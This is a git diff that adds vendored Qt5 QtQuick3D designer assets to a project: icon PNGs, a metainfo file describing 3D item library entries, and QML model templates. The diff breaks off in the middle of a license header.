a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/dummy16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/dummy16.png new file mode 100644 index 00000000..de8906a7 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/dummy16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/dummy@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/dummy@2x.png new file mode 100644 index 00000000..7ca04a01 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/dummy@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/group.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/group.png new file mode 100644 index 00000000..fd9d439c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/group.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/group16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/group16.png new file mode 100644 index 00000000..0e85848c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/group16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/group@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/group@2x.png new file mode 100644 index 00000000..d230647e Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/group@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/light.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/light.png new file mode 100644 index 00000000..d03cddaa Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/light.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/light16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/light16.png new file mode 100644 index 00000000..12d2f41c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/light16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/light@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/light@2x.png new file mode 100644 index 00000000..15926cd9 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/light@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/material.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/material.png new file mode 100644 index 00000000..7755645f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/material.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/material16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/material16.png new file mode 100644 index 00000000..7f486b8d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/material16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/material@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/material@2x.png new file mode 100644 index 00000000..ea604a96 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/material@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/model16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/model16.png new file mode 100644 index 00000000..759f073d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/model16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/plane.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/plane.png new file mode 100644 index 00000000..87d4979d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/plane.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/plane16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/plane16.png new file mode 100644 index 00000000..6f55b081 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/plane16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/plane@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/plane@2x.png new file mode 100644 index 00000000..b8799e6d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/plane@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/scene.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/scene.png new file mode 100644 index 00000000..e13791e5 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/scene.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/scene16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/scene16.png new file mode 100644 index 00000000..202b2f90 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/scene16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/scene@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/scene@2x.png new file mode 100644 index 00000000..cef25b11 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/scene@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/shadercommand.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/shadercommand.png new file mode 100644 index 00000000..86aa50b3 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/shadercommand.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/shadercommand16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/shadercommand16.png new file mode 100644 index 00000000..62a9160e Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/shadercommand16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/shadercommand@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/shadercommand@2x.png new file mode 100644 index 00000000..6fc3793e Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/shadercommand@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/shaderutil.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/shaderutil.png new file mode 100644 index 00000000..948752c3 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/shaderutil.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/shaderutil16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/shaderutil16.png new file mode 100644 index 00000000..a33401e0 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/shaderutil16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/shaderutil@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/shaderutil@2x.png new file mode 100644 index 00000000..a54511ed Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/shaderutil@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/sphere.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/sphere.png new file mode 100644 index 00000000..28f0ab4c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/sphere.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/sphere16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/sphere16.png new file mode 100644 index 00000000..1db5129b Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/sphere16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/sphere@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/sphere@2x.png new file mode 100644 index 00000000..9243df7e Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/sphere@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/texture.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/texture.png new file mode 100644 index 00000000..35abe7ac Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/texture.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/texture16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/texture16.png new file mode 100644 index 00000000..ea87efb7 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/texture16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/texture@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/texture@2x.png new file mode 100644 index 00000000..b13e4fa4 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/texture@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/view3D.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/view3D.png new file mode 100644 index 00000000..5ac7ae83 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/view3D.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/view3D16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/view3D16.png new file mode 100644 index 00000000..ade7500c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/view3D16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/view3D@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/view3D@2x.png new file mode 100644 index 00000000..94a5c105 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/images/view3D@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/quick3d.metainfo b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/quick3d.metainfo new file mode 100644 index 00000000..e16e6dc2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/quick3d.metainfo @@ -0,0 +1,588 @@ +MetaInfo { + Type { + name: "QtQuick3D.PerspectiveCamera" + icon: "images/camera16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: true + } + + ItemLibraryEntry { + name: "Camera Perspective" + category: "Qt Quick 3D" + libraryIcon: "images/camera.png" + version: "1.0" + requiredImport: "QtQuick3D" + Property { name: "z"; type: "int"; value: 500; } + } + } + Type { + name: "QtQuick3D.OrthographicCamera" + icon: "images/camera16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: true + } + + ItemLibraryEntry { + name: "Camera Orthographic" + category: "Qt Quick 3D" + libraryIcon: "images/camera.png" + version: "1.0" + requiredImport: "QtQuick3D" + Property { name: "z"; type: "int"; value: 500; } + } + } + Type { + name: "QtQuick3D.FrustumCamera" + icon: "images/camera16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: true + } + + ItemLibraryEntry { + name: "Camera Frustum" + category: "Qt Quick 3D" + libraryIcon: "images/camera.png" + version: "1.0" + requiredImport: "QtQuick3D" + Property { name: "z"; type: "int"; value: 500; } + } + } + Type { + name: "QtQuick3D.CustomCamera" + icon: "images/camera16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: true + } + + ItemLibraryEntry { + name: "Camera Custom" + category: "Qt Quick 3D" + libraryIcon: "images/camera.png" + version: "1.0" + requiredImport: "QtQuick3D" + Property { name: "z"; type: "int"; value: 500; } + } + } + Type { + name: "QtQuick3D.DefaultMaterial" + icon: "images/material16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + } + + ItemLibraryEntry { + name: "Default Material" + category: "Qt Quick 3D" + libraryIcon: "images/material.png" + version: "1.0" + requiredImport: "QtQuick3D" + Property { name: "diffuseColor"; type: "color"; value: "green"; } + } + } + Type { + name: "QtQuick3D.PrincipledMaterial" + icon: "images/material16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + } + + ItemLibraryEntry { + name: "Principled Material" + category: "Qt Quick 3D" + libraryIcon: "images/material.png" + version: "1.0" + requiredImport: "QtQuick3D" + Property { name: "baseColor"; type: "color"; value: "#ff000000"; } + Property { name: "metalness"; type: "int"; value: "0"; } + Property { name: "roughness"; type: "float"; value: "0.734981"; } + } + } + Type { + name: "QtQuick3D.Texture" + icon: "images/texture16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeContainer: false + } + + ItemLibraryEntry { + name: "Texture" + category: "Qt Quick 3D" + libraryIcon: "images/texture.png" + version: "1.0" + requiredImport: "QtQuick3D" + } + } + Type { + name: "QtQuick3D.DirectionalLight" + icon: "images/light16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: true + } + + ItemLibraryEntry { + name: "Light Directional" + category: "Qt Quick 3D" + libraryIcon: "images/light.png" + version: "1.0" + requiredImport: "QtQuick3D" + } + } + Type { + name: "QtQuick3D.PointLight" + icon: "images/light16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: true + } + + ItemLibraryEntry { + name: "Light Point" + category: "Qt Quick 3D" + libraryIcon: "images/light.png" + version: "1.0" + requiredImport: "QtQuick3D" + } + } + Type { + name: "QtQuick3D.AreaLight" + icon: "images/light16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: true + } + + ItemLibraryEntry { + name: "Light Area" + category: "Qt Quick 3D" + libraryIcon: "images/light.png" + version: "1.0" + requiredImport: "QtQuick3D" + } + } + Type { + name: "QtQuick3D.SpotLight" + icon: "images/light16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: true + } + + ItemLibraryEntry { + name: "Light Spot" + category: "Qt Quick 3D" + libraryIcon: "images/light.png" + version: "1.0" + requiredImport: "QtQuick3D" + } + } + Type { + name: "QtQuick3D.Model" + icon: "images/model16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: true + visibleNonDefaultProperties: "materials" + } + + ItemLibraryEntry { + name: "Cube" + category: "Qt Quick 3D" + libraryIcon: "images/cube.png" + version: "1.0" + requiredImport: "QtQuick3D" + QmlSource { source: "./source/cube_model_template.qml" } + } + } + Type { + name: "QtQuick3D.Model" + icon: "images/model16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: true + visibleNonDefaultProperties: "materials" + } + + ItemLibraryEntry { + name: "Sphere" + category: "Qt Quick 3D" + libraryIcon: "images/sphere.png" + version: "1.0" + requiredImport: "QtQuick3D" + QmlSource { source: "./source/sphere_model_template.qml" } + } + } + Type { + name: "QtQuick3D.Model" + icon: "images/model16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: true + visibleNonDefaultProperties: "materials" + } + + ItemLibraryEntry { + name: "Cylinder" + category: "Qt Quick 3D" + libraryIcon: "images/cylinder.png" + version: "1.0" + requiredImport: "QtQuick3D" + QmlSource { source: "./source/cylinder_model_template.qml" } + } + } + Type { + name: "QtQuick3D.Model" + icon: "images/model16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: true + visibleNonDefaultProperties: "materials" + } + + ItemLibraryEntry { + name: "Plane" + category: "Qt Quick 3D" + libraryIcon: "images/plane.png" + version: "1.0" + requiredImport: "QtQuick3D" + QmlSource { source: "./source/plane_model_template.qml" } + } + } + Type { + name: "QtQuick3D.Model" + icon: "images/model16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: true + visibleNonDefaultProperties: "materials" + } + + ItemLibraryEntry { + name: "Cone" + category: "Qt Quick 3D" + libraryIcon: "images/cone.png" + version: "1.0" + requiredImport: "QtQuick3D" + QmlSource { source: "./source/cone_model_template.qml" } + } + } + Type { + name: "QtQuick3D.Node" + icon: "images/group16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: true + } + + ItemLibraryEntry { + name: "Group" + category: "Qt Quick 3D" + libraryIcon: "images/group.png" + version: "1.0" + requiredImport: "QtQuick3D" + } + } + Type { + name: "QtQuick3D.SceneEnvironment" + icon: "images/scene16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + } + + ItemLibraryEntry { + name: "Scene Environment" + category: "Qt Quick 3D" + libraryIcon: "images/scene.png" + version: "1.0" + requiredImport: "QtQuick3D" + } + } + Type { + name: "QtQuick3D.View3D" + icon: "images/view3D16.png" + + ItemLibraryEntry { + name: "View3D" + category: "Qt Quick 3D" + libraryIcon: "images/view3D.png" + version: "1.0" + requiredImport: "QtQuick3D" + QmlSource { source: "./source/view3D_template.qml" } + } + } + Type { + name: "QtQuick3D.Shader" + icon: "images/shaderutil16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + } + + ItemLibraryEntry { + name: "Shader" + category: "Qt Quick 3D Custom Shader Utils" + libraryIcon: "images/shaderutil.png" + version: "1.15" + requiredImport: "QtQuick3D" + } + } + Type { + name: "QtQuick3D.ShaderInfo" + icon: "images/shaderutil16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + } + + ItemLibraryEntry { + name: "Shader Info" + category: "Qt Quick 3D Custom Shader Utils" + libraryIcon: "images/shaderutil.png" + version: "1.15" + requiredImport: "QtQuick3D" + } + } + Type { + name: "QtQuick3D.TextureInput" + icon: "images/shaderutil16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + } + + ItemLibraryEntry { + name: "Texture Input" + category: "Qt Quick 3D Custom Shader Utils" + libraryIcon: "images/shaderutil.png" + version: "1.15" + requiredImport: "QtQuick3D" + } + } + Type { + name: "QtQuick3D.Pass" + icon: "images/shaderutil16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + } + + ItemLibraryEntry { + name: "Pass" + category: "Qt Quick 3D Custom Shader Utils" + libraryIcon: "images/shaderutil.png" + version: "1.15" + requiredImport: "QtQuick3D" + } + } + Type { + name: "QtQuick3D.BufferInput" + icon: "images/shadercommand16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + } + + ItemLibraryEntry { + name: "Buffer Input" + category: "Qt Quick 3D Custom Shader Utils" + libraryIcon: "images/shadercommand.png" + version: "1.15" + requiredImport: "QtQuick3D" + } + } + Type { + name: "QtQuick3D.BufferBlit" + icon: "images/shadercommand16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + } + + ItemLibraryEntry { + name: "Buffer Blit" + category: "Qt Quick 3D Custom Shader Utils" + libraryIcon: "images/shadercommand.png" + version: "1.15" + requiredImport: "QtQuick3D" + } + } + Type { + name: "QtQuick3D.Blending" + icon: "images/shadercommand16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + } + + ItemLibraryEntry { + name: "Blending" + category: "Qt Quick 3D Custom Shader Utils" + libraryIcon: "images/shadercommand.png" + version: "1.15" + requiredImport: "QtQuick3D" + } + } + Type { + name: "QtQuick3D.Buffer" + icon: "images/shaderutil16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + } + + ItemLibraryEntry { + name: "Buffer" + category: "Qt Quick 3D Custom Shader Utils" + libraryIcon: "images/shaderutil.png" + version: "1.15" + requiredImport: "QtQuick3D" + } + } + Type { + name: "QtQuick3D.RenderState" + icon: "images/shadercommand16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + } + + ItemLibraryEntry { + name: "Render State" + category: "Qt Quick 3D Custom Shader Utils" + libraryIcon: "images/shadercommand.png" + version: "1.15" + requiredImport: "QtQuick3D" + } + } + Type { + name: "QtQuick3D.CullMode" + icon: "images/shadercommand16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + } + + ItemLibraryEntry { + name: "Cull Mode" + category: "Qt Quick 3D Custom Shader Utils" + libraryIcon: "images/shadercommand.png" + version: "1.15" + requiredImport: "QtQuick3D" + } + } + Type { + name: "QtQuick3D.DepthInput" + icon: "images/shadercommand16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + } + + ItemLibraryEntry { + name: "Depth Input" + category: "Qt Quick 3D Custom Shader Utils" + libraryIcon: "images/shadercommand.png" + version: "1.15" + requiredImport: "QtQuick3D" + } + } + Type { + name: "QtQuick3D.SetUniformValue" + icon: "images/shadercommand16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + } + + ItemLibraryEntry { + name: "Set Uniform Value" + category: "Qt Quick 3D Custom Shader Utils" + libraryIcon: "images/shadercommand.png" + version: "1.15" + requiredImport: "QtQuick3D" + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/source/cone_model_template.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/source/cone_model_template.qml new file mode 100644 index 00000000..b2df2c48 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/source/cone_model_template.qml @@ -0,0 +1,41 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 + +Model { + source: "#Cone" + + materials: coneMaterial + DefaultMaterial { + id: coneMaterial + diffuseColor: "#4aee45" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/source/cube_model_template.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/source/cube_model_template.qml new file mode 100644 index 00000000..fb893db2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/source/cube_model_template.qml @@ -0,0 +1,41 @@ +/**************************************************************************** +** +** Copyright (C) 2019 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 + +Model { + source: "#Cube" + + materials: cubeMaterial + DefaultMaterial { + id: cubeMaterial + diffuseColor: "#4aee45" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/source/cylinder_model_template.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/source/cylinder_model_template.qml new file mode 100644 index 00000000..527b2dc1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/source/cylinder_model_template.qml @@ -0,0 +1,41 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick3D 1.15 + +Model { + source: "#Cylinder" + + materials: cylinderMaterial + DefaultMaterial { + id: cylinderMaterial + diffuseColor: "#4aee45" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/source/plane_model_template.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/source/plane_model_template.qml new file mode 100644 index 00000000..11953ebe --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/designer/source/plane_model_template.qml @@ -0,0 +1,41 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free 